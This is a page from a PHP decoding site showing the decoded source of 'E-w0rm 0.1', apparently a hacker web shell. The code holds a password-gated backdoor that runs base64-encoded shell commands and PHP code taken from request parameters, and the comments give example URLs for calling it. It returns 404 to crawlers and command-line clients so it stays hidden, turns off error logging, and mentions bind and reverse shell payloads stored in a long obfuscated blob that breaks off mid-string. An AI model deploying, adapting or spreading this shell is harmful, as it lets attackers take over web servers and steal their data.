Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\..

Decoded Output download

?><?php
/*
     E-w0rm 0.1
	 Release date : 06/05/2015
	 Author : Tblack
	  Epic Hackers S.C 

*/
$s_pass = "24069f16cae6482a7c44145cc4f6d0cac5896810"; // default password : E-w0rm (login and change to new password)

$s_ver = "0.1"; // shell ver
$s_title = "E-w0rm ".$s_ver; // shell title
$s_login_time = 3600 * 24 * 7; // cookie time (login)
$s_debug = false; // debugging mode

@ob_start();
@set_time_limit(0);
@ini_set('html_errors','0');
@clearstatcache();
define('DS', DIRECTORY_SEPARATOR);

// clean magic quotes
$_POST = clean($_POST);
$_GET = clean($_GET);
$_COOKIE = clean($_COOKIE);
$_GP = array_merge($_POST, $_GET);
$_GP = array_map("ru", $_GP);


if($s_debug){
	error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
	@ini_set('display_errors','1');
	@ini_set('log_errors','1');
	foreach($_GP as $k=>$v){
		if(is_array($v)) $v = print_r($v, true);
		echo "<span>".hss($k."=>".$v)."</span><br />";
	}
}
else{
	error_reporting(0);
	@ini_set('display_errors','0');
	@ini_set('log_errors','0');
}

$s_auth = false; // login status
if(strlen(trim($s_pass))>0){
	if(isset($_COOKIE['E-w0rm'])){
		if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['E-w0rm']))) $s_auth = true;
	}
	if(isset($_GP['login'])){
		$s_login = kript($_GP['login']);
		if(strtolower(trim($s_pass)) == $s_login){
			setcookie("E-w0rm",$s_login,time() + $s_login_time);
			$s_auth = true;
		}
	}
	if(isset($_GP['x']) && ($_GP['x']=='logout')){
		$persist = array("theme", "cwd");
		$s_reload = (isset($_COOKIE['E-w0rm_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):"";
		foreach($_COOKIE as $s_k=>$s_v){
			if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time);
		}
		$s_auth = false;
		if(!empty($s_reload)) header("Location: ".$s_reload);
	}
}
else $s_auth = true;

// This is a feature where you can control this script from another apps/scripts
// you need to supply password (in sha1(md5()) format) to access this
// this example using password 'E-w0rm' in sha1(md5()) format (s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34)
// give the code/command you want to execute in base64 format
// this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=)
// example:
//		http://www.myserver.com/E-w0rm.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&cmd=dW5hbWUgLWE=
// next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==)
//		http://www.myserver.com/E-w0rm.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&eval=cGhwaW5mbygpOw==
// recommended ways is using POST DATA
// note that it will not works if shell password is empty ($s_pass);
// better see code below
if(!empty($_GP['s_pass'])){
	if(strtolower(trim($s_pass)) == strtolower(trim($_GP['s_pass']))){
		if(isset($_GP['cmd'])) echo exe(base64_decode($_GP['cmd']));
		elseif(isset($_GP['eval'])){
			$s_code = base64_decode($_GP['eval']);
			ob_start();
			eval($s_code);
			$s_res = ob_get_contents();
			ob_end_clean();
			echo $s_res;
		}
		else echo $s_title;
	}
	die();
}

// block search engine bot
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
	header("HTTP/1.0 404 Not Found");
	header("Status: 404 Not Found");
	die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
	header("HTTP/1.0 404 Not Found");
	header("Status: 404 Not Found");
	die();
}

// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php this was used with bind and reverse shell
// use gzinflate(base64_decode($the_code)) if you want see the real code.. in case you don't trust me !
$s_css = "rP1nr+RQv92JvReg7/DgzgCSwBGY072WxwzFnFmMhiEw5xyL/vJm9yNpBNgYA4ZZ6GoeHnKTe+//Xmv9+nRX/1/+97me//2/q4skL9b/+C/cNO7FuP/n728u/vUfe3HvYLZt//Kf/u3f/7t//+/+1+2/Jus6Xf/4L//4lzzZk39thqQqwHms/i1NtoLA/rfGZ03nglSxmph3M1yv/njVu8f9+ZKpOCZ6f2OfYlyhPwe4kJWDUH/3Nvd90z6V5KIhSb37n+jTf2zfiS7KD13oznynBR6yO/FdwHWrNCeYqTqBVSfbOgTmd2+72mWB1Iq12WZJdh+tfifLfmNUijX8576b+AhZP98/nmNA0MKzevX1zGH8fvQMALMCy/EM6GicrOKPGnE5zrspupvPCeQgCNUZw5kYWVebBpESg5e8XPLdQ5TlbTNTxVdp/5v1LP7NvjxHTkvwvu/H0PN1WYP7icI5YbqpZwml6Vt7pjC9UsePajTRZGQGUBhUTXwPDn3anP0E9NeQtt0eFom40sGxwS/SAJtjmtxR12P2vWaabd+ASIIs0LLfYHWe+ampWI5bF+LoShKoXDrT9vJbo6PC+A0drkD+5dIS1r4ZMxhbijZpG+YojV0Wb8PlB/LusnpExuZsmWlyKKg36pD4teybLW7jnuJnCEfai7Lu5HksOvvcDGJlUjXNH9JPyIj+HbFD1jJv4dihty0JVz9XEQDmZoI/511ijXp0SSO/1ZxMJrpuAQOsk6VkVqAPqIAQRmCkPv3wtsMQaIChT5CGJVLoun0xkCE5ZjJNmJ+nRVTd8eD9CPeIv9bU3ns9qBhhx4UHBzaeIyZ2ozrPYMxb1WixCYU107K+utCujUiTGE2hyqdEMhRV1VItBdFgB7fd7xpRgLGn1cW3AE8SWK629ggoCmH8rXPbRhBV/2z6la65eh3+77YngUKKYybKM2sqr9h8hWT7dgBGqCLO9B4zWFK1dY0FhpO67QevNVuV1kmXAdymHWUWlmiBaCkXH7LMpLv+2TbbtGZdWC16yYwkr+kOguFwFJg0sDhFFFJZRYzqtuD5gAWjtJrFMBjfT2PtanNB+3653SLzE3MqpyLCrLxuVfKaUlhZdlpLMCPY8MkkZ2SjcjjmW5gqR51F685xueFzQgGQzniiq5POMPZD2MdIDg4ks6kXxcifwdVb6UbVq3O9+Tudn/feVHXZncUooTiXyBDbTA0rDzubfShyktfWnBsAjykET5pXRPERnzTcCt8dx9t1xMnXFy0wSmPAEDbb5aoepOxWluCAvNksP5f3Wf1SINIrCrghj+EIXDquaAhrgCKnnr52Vy17Oflz7kCnqNeXKk9qLHeO6yjN1DQzx3el4nzdCfaS09fsqq1F5AoodNwRqOqAifiOHmPfBh8hVqVH2IX8almravaX7BTUBpR+Qe2Rflxd95O5V0zHlZzsI9sP30Qx1rbmBZpUD+S4RuW3tH8zzUpZfEjpB3IaLIGJ0yfj7TaSvg92f9nBO1Dv5m5bSDSUAtIOzX307z2I5UmBO6AkazIfaYAaP1L7kZL43USURLdVpXobOdB4REkvY1Q20ix8D+L9eav79Fj+o1NFxQcNHMxwGn5uPU6NNb8wT1l3edGGrOghT8nPlorfVrXB8o/zEwh7Cjw/J5BqMiKMC/y1Ta8Y/ewKJu5k192KEjY6OQz6ZT7136xxYJT7Wgel1ZRl/rQPTZxJ2Vg6LTEBS3Yumu4zsvr6rECPcy7qTPwe12hZAwcrkEM9jS/kXF7tPw7AKo6Hf9ZOqarqv/yXf/m3vy6TJ2v3X7P0/wefYf5YB1P802f4J/w4f31GDB0hkJxvisRQjgi/2GbZWKSb2GWVNBDG2Ff6KHDwLOt7688Fbq44H8ErjHXrIFG9WiaqY0NZorOxZ17VzCxCN1OQBZwXBEit2iJiruYZ+MMwbykTVrFvC3pmYDU1zGWrz7FGIh6nTmIg8bdG5JxrmA6qdlzIAKTiU9ukeOPrdjAPs7vqNt0U3L4AeeQ3V/B+cGWK3UuOcdRtEn4XPE+FlrHt1UPJp1q4ixkSbMR/NQcwWeE+S84TtMPwwNMWucsWiwRiXNkwJJZWiQhMqHTbnuPAm1m14zLr/AlATRcr3fz8LIvurj6VE7syNhPHRROoU6Se0XOUYalHwvhL3gVgKUYaREGV/ZKJ1IAZQWos+RVznf8sxe/RE2iF7KiNoQJ2Jnnu06B3hiIGCpUIQBjwER3mHKM3t+eTyEBbJaUCIXn0H7KW+9Gm4O/TFKxTMbEkgmYhFiWh/w0RruebjopzkSz/93pJ16aq9/+/Vsz/STJhLehPMrGxtkC+mze9bsWJJz7QqOOwGivbJmiYQiUpCdY0scdfhufelAJtuMsJXaf8UB1PFLa8tHUgJxmteGoLTBoETOChuiPHGY5gOYDz0hViW4ql2f6RRBVQp1cb56brvW4mXd+juUbKCpPO2e2nTnX7EfVQ1zUjCD5f72HSAoA7sdVh/ZF/P004WXeIhouveJfrdylDtg+c+rRPsqVzpf1966Cug9VdLEPndsbPbji/miiW5QJ+HLs3XCwLqplxIV7ARy30hTEBmqYMomR+Gd1KVsXGdWiFFIeG5luy6AKUsHzXNWp7nOUaae4UTopUhBpbyM9pnLZVEfpsydLoj9kEbUEEuQN7jXPVgKWn9858h1SoBcQq742hU2tfuUVuFPkJvN/oG8JcY/mvtKgy7TNpznv363Whr/jOYjn3DRg4W/K4KZzhrtEt8/9Zbf7Wz14XQ/HP2lm7f/m3f4DgP/KiTI5+/0ez/ePPwX//75ryPzbbVuz/8X/9r5xpqvLn//4f/l72H/4f/+k//eN/auP/7dv/h6S9333zc/L7j//yv0B/t3/53/7xL/+L8Hf7u4v83f7uYhzNMf88Cv/d/u7+7QTzz3PpP6+/uyjx5/XPc+k/r3+28Hf7u8v93f7u0n+3f7YA/Xn9zfb/Yw39T4/4Pz3X//S0/N/t7y773hX/59HP3+3vLv53++e5xJ/XP5+A/vP657nEn9c/W/i7/bMPf7e/u8Tf7Z8tCH9e//0Rs6mf1vcJ/+N/H+53Cv/52P/yn/73f/yPPvzrfxvu/3ZRXWRdOt3/36979eNf/w/zea/+3/+vf+rj/1a+TPSfyyQr/vH//Pf/7h/v9t8ODE3/+9d//IcjPcb9+K/DNE5rUR19sv6Hf/vnedua/es/jrX/j38lKZnnvsmSvZlG8P7Pf9u4prL8t6xO1reu/suxl/+Z+u9ylUO0+Gof+3e+xUBm2H+K38m/bzbzf7KxotM7xp+d5e+X15/3LDYBKf/kH8f7I3PS589B9U873MXJ10dxYNby/pxa/m3k9+fN5kPzu7KSB/t/8I1T/hz0u/dNFnvjVJYP/dUe+f3a/HtR+Kc9kYt9+xtHCPwC07sBfzvw5wSWqDitZeM2H+0/wiv8/f7njxyz6gfqzAyJrxj5o77BX5nd/rQ3+N+dA8YYEZ4/57Po31vJzH9nSpYdU6kf/nSq+PN4w9s1NYDkdUcssX5N/W1EQP/e6u8I8hHzQzQ++fO991th9c/x+fOmMMvAWvSUhg72Nlyofw4Gfx7VbOpBuDnxPiPkbV8A/jwZ+3eQctv0von9hgjsTyOR/9dTqn8+pCwytX9EAdy/p9fF30Ha3jfLjPpCXUP2zNC3KVH702kW+3PVbm/s4umZpPR/2ouNv/Q8/u3pYn9PEUfjQHn7y/Z/b/LXthgx93d3/nvg79QyD480z9+u8QqektrfgzqpK3mPIYNRxSJbYYzRCHZkR6JSsYdMsF0iFlMsyuqhYHZgP7Ya/BkjY5B57U+PpTaJELaLRL6KVrbeRKP6Ltj2Gz6269LqEyT2D3ohJ7DeNt/xaTUKvKhu08S/M9ddJ/mnm8gYODc0v7bZCCewwVqnXIJ9NvJU9XRdv1fZLivqeigg+EdUda27GpSt2cbdSfKCSGsKsI38yRqhgPV0VvYU4SXeP/FG6hMjINLZc+2PiF8Wf+LhZ9Jj3clZd9VFS9tYol09e3kSrxPsC10I/XOSwpEfMQULxIuKI32r9OLrtq0W6WqYA/zYmNLWO0u4DfAU2hoUXlmmqTtn67BvjS5mnt8mTnMo1lx/Rv7kh/xWcrVIb0jtEzMazoBvWq/s882UWNdte3hZznof1FUo0W751gvsm02GVT8bn4Ul9FTciAVoDbWvxjUlE0UAVowujG06Df6m5YRb058D/w69z+ADajPU/Xr7HsW3YT11az7fXaEV4tGONlnnu2DwJLJtW0SIyO93fyOS1LTXsLMs2+xbwe/f3XZhKGmC8S3fYxnNgyr6RZ/f2mPPpTpYYSbCp8fxDtSBWPpSjDj67vL5W7Z/62kkWVMW2T4ShdxJVt3W+en5feKVlDs9/VwvjN86qv6yR7z150NNHEuEFFNBMsTcLmZaE6G31UVZ+BB1J9lTKXNpyWfxALYKBEDkDJt+kuBdKT1X3TqjoQRPYv/j/pHIDpXIxH+q8yNVHM6LHOBeuoJxkDTpXKd7Umx9fj9e8/TyHnkx2SJ+FfNPwbqQ8LG9mf12gmJ7MBtSgir7eN0mqkvMYPm1QLCCIG7x8yrQmYgVQmviuEpWPxUD+yfnlxYnvGdZ4AoiJTiCFwhq4HUCFFivwCnhN5ZZLVvZJSkBN75ZFntX2SqtNrVpNQgY0QoPuZ3jMiMaXRVW7jNEzOeDT9zE2Zp6byT7y0Ljok6JBJhJ4a5GbaJDdrtec/VV+VHVorrbtCzDuojznCDtQhTnJNZdKipLPOB1Evh7hOxjivATbj4N8drWW1M9WVgrToO2yNrZp55eCPzEggN9xTsrP0rz6QzSgUurV8an/93FMT5x0/urv9D5jkj03cHpPqD5OVoS2qIk3ereTMQ9muyZr7TPzv/SKdQR++p4G4rexRngu32t+VP0uGxFRRiiHX6mcX0B2YES5HdD0wNvTMn1sGzkHYoudeGbH9tpI/vpwg9cY8sXSHI9njciN7CyRqxP8xL/Ir9aqEyJfv/TCPm9+kKvqDP19VqXvDF9xcuMIzML8xEZpWOmi5sY9WI2hkMYxWMmm3uhGnslnfsxUvdaIfdl1Ilpba5k1IjJL3ZnpNciL/bDOp+/ehj6Ivntd/ZjQAZ/mextVJWZT96GD/Y9HjVrjx84gpuYPwTcrmcDVZ0G/bASxLEOgybrPVRT4sjDFdUCVFN2i9Wf1lgbVYbM53gyioh16FS7ZEaJ4LQ8IOs6XXsjP4SAHi7vqc7QxHclMETfZV0Khnug9RkGQExj59Pp+f3N6R6d/jpL9CCy8hdoBkkHZBYRAK+SerZo579f2rAJruhq1kzSzDt48h6NY9ssYNJ8LJAvXXWj+ZAPi4hdcM0gHFm1TQscKP3x+i3hv6/DeMi+s8oKwJzkU+jHc3Fem9cPMijND2zs7xWFSi68fp49GLIJ+bZaUyTryxN9JEQ3gsK+Cr6iBsFQUUWfNt6RkGg5PxwrfiVmwvH8UcDFYQCvcu/1Vtz2bOvVE+9ZCi+VQb7kuwSV/cVSKr/OOpZ0AT3vXjPPVq73KfoEMhk1A8N5Duf0IV7Xq3W6l4gLGvlAnFeZ4d2iQM5p3wP52FRP+jDfCgEnzQBCP78ftpD+OpoNpKApMS+LIc9PuRfP+ufPg7GCoww2osT0AU/AnSTC4n6HIVbmWxyEga7gtIZLox6U8BA/hTbBzZ/+Wak2w4IgxfBom5AaZJTs2fffjHiwH6CZe+vMQBALQyD4vSNIXaNGS2PKWH7frSQaORwm9NoyXY0zpxvJt1LhJ0wH6ddgUJazxWRueiOJUwM/UuPZqsZTStfTknBrHo0e5bTsnyJdX0d7qT2Jc/d3vjVqFVkMpUBjIjaZpmcBgCeNx4n0WOojjWaG4w94lK2ZmdeXtfhNOaARiTBnA72fbDs+UELDzp3dqvyhxBB/qsBq5V+NFXDBNyP8Q4idnyVKqlWOWeuJZbeo2bSGau6rT/f5ATEL3yDtES73q2GQc27WBpFfbmwjf4lCZuRv0T1iXhnjuYu69Nfcws/Lk+AL8PkBf0VxEC9XaYKvKhyCm/dStGq+YrTdpyHS+I03Cl11DhrH8npTjrvOWTtDUzIvB864EhsHErHWP5Edlf10ugyGmiODndU6pBmNF3bYUuRYVxK423wXi2oZESgSSXj+Gg+DVasdH4yEWAVszpP7Wl6gz2zWW7M3KtHNfnBD7SDn55kTBhHfD5XKTsKLqTJ4Y/OVtE/j5tV+8l+vx4havy1z7Y4fbELnMEG0ZphkYA4IeZSB9UaVkoClAlNwoxZNTMDkwuJiLh3iKwQU4Tna3+xzy8jiacer3gAo99gI+dlOyGOvPdh9t16nVyWLCvLRSnnM7tUobe+Gsw+lOIH+DIf6iAnmuI7ahUoBSwije0U4Ruztkd/3FoXI7mdmzFo0y70Z4Ncx8UpxNko420YmzOdlGG++xNduVr89dNYo3lfz5+N2cIwpdEoRzwG3vDGMQvug7S5RstXhWR6vNGYaBhtKKcnxWa5ZTIphpvYqL+4CJt/dFGx+wB8zExRXhmGlgqT4DSkeJBYdbA5sXmhsLLUmLx9sAEUVayi+UO4VEzqTpS7tpwi/EgoqfFpB14aLgVNIc/Cs601VEwqaHwvSkPJzMkT2a+mEBnuS94EZ9MeCSg+gpb/AMALS2cRgAOIuJP14A4B6yc5UEIwChcG8LMky0GReiYybXEICfKIX/qtM+NNVs+cvQdeGWcwRvR0kQ7fxutsLSBJ8mq7tQ8XBocPbGawv5O5EGsmUx9lhTgWT+HVxs0rvJhealLDBWHjLWYq3LmlV+V0xt551uuUXpL2jIqMa/zInAnq7dg3uFNJQxSW8EJTKA2NNcecva5IWicljHmT70GV9NdKJy82KsiLW9ye2sXsRQbhSDbMLkb2ThFirM/TtMoEgyMqTfvkU2gbijFYpDVeem8vWfUO6D2LJR+cPVFi5Q8j1oJDvAGVcGyKxsqLp8tDAYUnOCgBvCCkJmfTrXt6HuOW74IlhbUV78/D7x/avuiqJ4WfFhVHXBIBkJNvSyCgNJGgrMtu3SqSUoPOQY7CzocsKhQ1eixvp0GPW3FbxHIgPchy/Jeo8NqOyF44RskDJNT88FjeUmhlCIo0AEyz/UNHAxy69KLPBk9HG0VA1bujsKRO9swW90ztjaGAh+Azn7RuhInn3EVmAY9VP7pSPUR3rPoGo9HzfCyUb2aBeJXe7bawGQL/chtVPRtbuzwlnPA8Zl9faUExFquSO1d9RNN134odp8VNTRApXbm1/OV/Quy+KXp8PZqa2dAJKTU7ZeJ6i8fnl5piu0HQkOQ+hGQ/uCFks/Amd53i2YgRTNJXXrULb/KRKq4UuWgFJmv4IA5tbcir6Pz9jADXW1N7WQpxJDUWRAi8PYJhpiMjtFji6ca9f1R/qXSlLBHltUjGecMgrlotHyj0Uuz8Amgzy3lHTL3qZs1rjtpW8NfVnBrq0pgTnV0l663VvTRnBtQSZ2MBazb4OZbfGztEWM/sscldC629sL7GZWF59QV5XAHpa7ZTgkRNpMJPrHsxPgTZgTk/f0ROOD310+qC7DlKjah2YRmsVKJq7FAmR44qpyyBjCLw8J7c8OZIvX9fALag+aHR37p2ka9gm3F8SGDwIGrkBJeRtPsB3P470jceFxtFxgL5rYizCPz9DIH/wGCLWvpRnDO6LQZYh6oPpsWIa/NvxUdzbAuLDAe8qGQ/kZZ7Grgsdqrw6MDVMFS39mf8V0Juz6gUSN1iUgPYGHpzMp7UmHxKZGBqbRlPKkFrXeTDhXUalu+1Dqfk5+cWjpU6Punrp+klyxjuI4YH9IselYQtkpeSIP98yyuS3pMQUS0zBKp8Ug3bDfUAGp3ZNf2PDZBRIE2vdlABcwh9BIr6LK1h3OZk8wwe9NFNH3wbK44h6Eu/Ce58K+CqEp84d6dEb0kKPOwGrSSyR8EpBsp2+oRTIMdnw0Zj4uuHXdTI+7TS4mKqU3CYK9U/1xCtOw2D/+V580ycbmmmFzDLtAqsrwROfTg5TvA4gjzA0NWJcAwD/87bUzl5Up7uJPiXxuOcPsofIqZHylNzd3MJXwMHY0NfYc1/ek8LwgU1EDoPHya1ufu7Cmp40liSltnyHM4uj1LMldPZ7K68g2HDoKDLwc82JRCdbtTtwcMY8/DULyyREu3PmL6TG/dXhMjIEupz0oRiwmvaxI/BTYf76Gbz29XijGUKES9nJ9NVWag6HoUAdTyvnZ0TmPmyvxOesZds5kwidwVpFjTVnFErSTz1bRcrrEm7rEO4GVfx1v4a6V1wHeaZt7heNx9+stpsZi3zhbXNkqy8Kz8x+fQyloZ/vekhT0EsQ012RGzkpUWvBvS8AssYIlb8CFFFx/YISXIYfc92R3ShMfnQjQoM4nBuRGbms1ZIXSaV1WrEw5+caKm9W56tVd1WjELFw4vjlTrAqimLt3LJBkUtYJddgMcFPbH/G18m+K2jJqbj7cbw7tL26n8u4Dcyw/qzUxJfUfJZ0eFYU3unbDdFS02I7fFSJe7ODXVzPdOCkyeI5Bx1VsvVq9mKbtUofV/W+0GYtuwHQIqRyjihgjQAw4Wc82N7utef7ZV2b7YupzsvihZNrHXONplAsRLG3jjY2sKoIW2NbrXAE/3aJWY2EO9hlOiugWSdMHzFt7zH7HbtddzF2N4QL9rH6INTHoKKTzRdV9/lu812owCGIz2s7qjXd0yHI/mnOpubldppCW5/amlUvc2QSTzwdH933+4i+HpPWQABkjvMsU44igJIOvuSAn+SGkw1Ak2KuLrUc+0cs5/UevuNSu0VdgkBzXsqSgwQZmfloF+Dp+zQJ3SDxpspcOshrt1rdZJ1A2ajEMjPmzU/TVGEOXcwVK+8JhnxNF/Hj//7Ltl76qlLzc/hmKn/9wVFdfuBlYwu+I00RYEGSI7pmbXEfxX4S8n2dGA6Ae2Sdz4TcB4zcqlKro6V/jBvkpYYWrHG7rTNl9HnqMsoReNgWRC+MnbPK6u30KSnnjVQZ1Y/60jVWMawnkdFvU77mHLHmMjn3Rkfl5PwQMxK3bbm8TxbFFQrM15u/Q0lwAr4aNY1c8KD+6sOByWsJ2+gfdOMTHKeVPEccLvz93uBZlHhf+2BY7F+t8B1KgdNUgh7Y4GJj2BFECKQR+JoGfVzRUxVkQW5cBAXoZp3rSBM/PUdLVPlquxpRoNi/qsOeHWFzup51DLGQrB7MTN/MVysSthId+Fwp3S9RBcxWEwgGvOnHau22aFV9cYjfmQRkBTBXYb/fIyvMxO950xHL0wmDc3Ia7iPctxRMJ6k8U6leK9Onr/i96djG5mHDtIowBJesMPEmIyBv+NSiLy+40RJSPhFZYHHbpuKzIzcRsmVpbKOB4T07ajy2pMe8VY7V4kSMWuCyyny+ik957KO3ks6lzR8SIFeDhkr6BIX+mazUx/s8HR0cUZLoi422gm2tYsWX+dUbjYU4tYoWuB/brhMzroZeXXQkJglVpTvd8XaNSmAg7oX21jKXavCXffhIFDJpOTp94rqm+SXyfkeLCWouMx02Br2du/Ul+1wTxS4O7/zYzuhuluF1EZlqUq3z6DwyQOMXjSEQmMuw+BF0ufKXIXYEp6c4ZeQmFI5xC+rc/kmi8DFxTxIKkq9ObcB+JGl+SJ45rfkX3oniZb14VOYgq+vSg4cq+Voun/WiKRZblaK7giO0l4qTA2c2EieIVCQgQUTg9g44rraGfXj8MtG3MrlRJdRDOsf1NuwMXKzbxeOcM6e9+gFpxWu3gjaXql3tr3C389A3KtxDVmagXtvBzX6dqvu9Zca+48C6QX2/6yDiMF/mGIDlvj80wTbRJZn5kCo5uD4ihyf9LUB5VfIsGSFr/4QekwH7ayHL7szIBxVmdUMHtmoKhKd1Dg+jzkCD3dF0DR7fkG7CW3tGFAAK/BiVtBGAK33XNHggm87qb9gax4j7XsB8Dgz1VW68jgYfi7O1+R0ZC19IqmJf+XTXSz9gmDWIyppZNBGjQtsviXHQTQcqvQm2XoNs88etRljLbMHbsxebBCba7tLLhohE9aeyO7zspSzjO4XLt7iB+B5J56maQ/ql7Q+JmLTCq2gObrUBxesb0fcCiIpn3a6dADagDyOLFAlKp0zXhSgHxLydFN+AcEiaSaN9ghb6/vVKJIfFUskI/kCmL+mfjYnGxK9/NCaOxSp4E2HYl6vfaKj8caim4lfDxb7SNWnVxLUMEygsDoveFb21XndytHTyrI5s0ijSZP8OKhUTj6O9V44hFEzDGwKz4lWMB0s+UjDi30L1L3y7HKi7XMcwe0Q99p9o2dpDXP4aYMT+yHjCHvqQf8RWk5E98PYiuKDVnQKGy10g9LjY3TP1Strn1aBGkL+XjJWUJh+R4Yhw0A0uS8WkEziwm12H5uuEiEXzvcStQrDnHdDmGoQxOkJrlhP7SEUiDeFgcJ5W+1sXsJD4ToCXYwaPOAGBQTLH89VHAHmH0R3zMWlr7/BWsM3FtW0oqAXzgeA9M5YiQB1Q/EedmzFgyXMV5yr3wRrcmUHao3hS1UGO0yVaIOXsAPHl3CyxFRwBV+eNhkaRpYIjSIU7f77zolK1JxWpgbs9n6X64ClxNKW4DhvaN0uEpxNJhIh4cvT6TygZSwEHSb/ia8gqwvB4fWPzyZzW7e8yw14Uoe741Xb+sb6s3hzBF4OyuDgkEALrzBRt8ig/HwjcgvVsiQ/qbD+2zQk/9oE4UEcp8yzTCb9ZAJ7DGylITuVPBP+AGXpOOfucaKskuBQI401XOZ0MSDnFfsamqCIyX4N6YE11eqXk48VVd73+JfFnWdTP8RO+oDK2PebiVVjAiHLldThvn8i9W2aOKE4KU8bVdxY7+aI8w6KPakPxXpVMCtfAxluSZzuDF1TCO5x/MxdR2G9T66cYTGdYR9vP9evr5LXRfniUHQ/dSyXdit7OZzbopqbmk8XtYPYvNSRXz/g6zDTyvptFRRflThka+SQ5aC8NW1w8xuaaXXKRw9yKKle5WzRoSBxALn9g6Nr4B5fpFsVkyerBr9wrHzOLWYucsxNt5oeE3sIc5PauIgWaOd4BHpSGnD3jqHowA/6NY31m5IGguMtCmww9EVp3/hrJbUoJiJkyFIu1zeIlVOdJ26T+VxkXzv98uKie+voqtqsfysxaPNDyoy4kbbe4H4inPYgb1E419NuJrcXjY1AjiHQ56eDJ4Ruzh+dIX7faSBx6uTup86VBJOSN2IblWSzwImOadUmbQgZa7KEAz2IO4UieIudJ93H+MdKfEgHbduodzSCmVoEkKan6ZvyoCFiqSaM1ZxJnVf8N+4sI0rDrxHEy3CTb3Mk9zCLO78oOL6qarnXArxFivmsktiryOgzqRqe8XxsXcCGLsnVQJ4rAY92tdt3yg35z3DKdEgQxg0gar6luvXrx5zAwMrZHtPZ5rYW7YEmqKp13+j3NTtpi3pBfvj8ncKXNN9f3XwjMuwRE7HXDvHbmiHIbqcS2MwmwEGqVGjEF6a9rRSptvTLPt4D6QunPOM6PJXAoQpcH/Ixb1KUtDd6PpW8muPb4AlBlmEIoDmAQejJfMKGd/kEdBJx/Yg3hApLj08ko9zaRAsCPKfPTRv7OqjtpevUrBOb100yKjW3l4uy6dmJHrwz9Jawi8AQleH2+NrBfocP9y5hQhlDkR/YjSDdqDWlrBddeWPvmkA+WX+qj8AD/KTxhCGRLR3YCdZVJ+9B0Sh9gSrE3I3zr+fxxoWkQIc1mw9iixABT0w0hVKxhFQFtutd0Z5/xPnhI5Q7r2wXybS1+2B/JU6aeL6QmKiSJvpGOoeeilPhyck0h5Nr7BW4xXnAq3/OKAT5ocId0aKMgTx3yjiK70MdDWUlp5Z7bZy5lc334SvIpBj04ldJtaLhGObGc2hlodB7qHlZshEIyWeNw6LCbV/pPZRF5QKDbsKdW7fiwZUfqwmIsSpsm0oE8AIm//J7TZCI5Czj5fGB2nNk8+ycrcmCb18w2Fktyz47rKA8cIjB593/JbnUFWUOZEieTgZanfeSQplUsobxaGhd4k3FwjrJ5XTka/RObx+qWSvtoHMVysOV3H2JjuNc6pa1m+e3S8j6Ra+2K/Jy1iwDIWSm3Pj7M3OHBOrpwe10Bx0k0W9iqOCLGWfOH1U8XsT+0iHnICxtnQ8j0UCVEB+Fs0ES5teSVR0O5/SW/AFz4JE6FwXdlECpEqx3Kxxhwc8MPH9A7Hs3fUwshNdLDN/xTWm81hLZE0hwV86/j6xLSlTjmI6eInaBKGZaVjO7w8dPxsVwElooRZYr8NbEwpqfvt080yrEYpcgZBbZ/8CPi2eFKHkEnWK/RuFTHRx4xcKPIQfaC+7JzXyqP+c2CYtN3M3P+fZnBQrprdeVoLoD9RyDFht9exGQujO40DOiq+WI8rJTpSewz6r6B7670fA+PFPuh5SGN1RDpOWmx7fmcueR41r6WW4nOE0nqbR5JS0UL8o3opSc/hLbzCiNF6/v8/gh5waH0BJIAm+0aeQX5eygLd8htDPu1jA/TD3GIUa76fIQi7+6v7T5pNQHosFRjYbbVA6JUThYTAWY7LStKeIjktoPlg5ZcJ2X8aIOGjz7QeEorePzIVScP8JCBJ70+ZIVftoy0Q/Igs28wJUFUqwnLLJXYkM6UQ3NPmxgctjvdqjg14tLtsluavgornCeOtRP1bzK8viRoBmW3Z1qUxgZFkfV1stEU4m/hgITr+npFLDe+X984n7DnQUYSjok7hwZEyc4TigGv5Jsxiswww1a6dnq8/spfpY0f0+VMPfp1yvCTBWJf2TuzfxMg1HdrpFB5ME2VIA2xbqrcLl5WvZnafCYdaVj1e3nHp4sO5q5W3+fKhuuFydOm0LEXXjEbJa4C9Sf24iwBT2eVR2rhbb25+Bw2hBXuAIIrDQmXhIrv+IeWngozrBU5ewcCgPT8WjYOOtlQb0ZDgHeHHRpgGDgLHuNjbutL8dIOhRKylDCvwtxG9ZY9/7pYGaj5cbZZSMd1sBlfTlnZ28SrGtjjSyfMt6lN0c0or9BudiooqChAiIgU9h3X3s1Teor6/cTvLyC91LznKokWtNoccuotLnfSFbHx7dzmLRF/e3evm4VVokE055FSFuy9h2ZgKF9mH5G1uRI8qQMAfjyJkmTdohNlShoVisnnZXz4KlEdNFdR+DGL9YaWD+iObMTXa6TrYk4bLgrjhQdpVQ+oC7cNuMpqc9N0H52JDDk3eo+Erzc6oIUJr1MkbY14Y6l0ktpeWcBuZ2WMU0BpvudRQz0PCQbCpL+uy4ugM7i+v/JkaPjQd+ZF233+OoZQb5KOE9eV7b12tYf5In3dEF7TGWkS/dL0a/QAflrWyox7jXrkiUjBxEonuDOpAtGKxCVQ9vA4SoJHCoBy71Cl0nIroCWwpWlCiD9vlu2gilC86M0W5bQcHKRLKU2LNqFAZFud57Uglro7ax1sILOnjy4Dc/TlRj/6Jl3E20DRQqfNRWeLdHzMHcNwM05pUiC63sw3pcxVO4HquKHTpfBLTsKz7NY7ndJkcHO04kZNk41n705d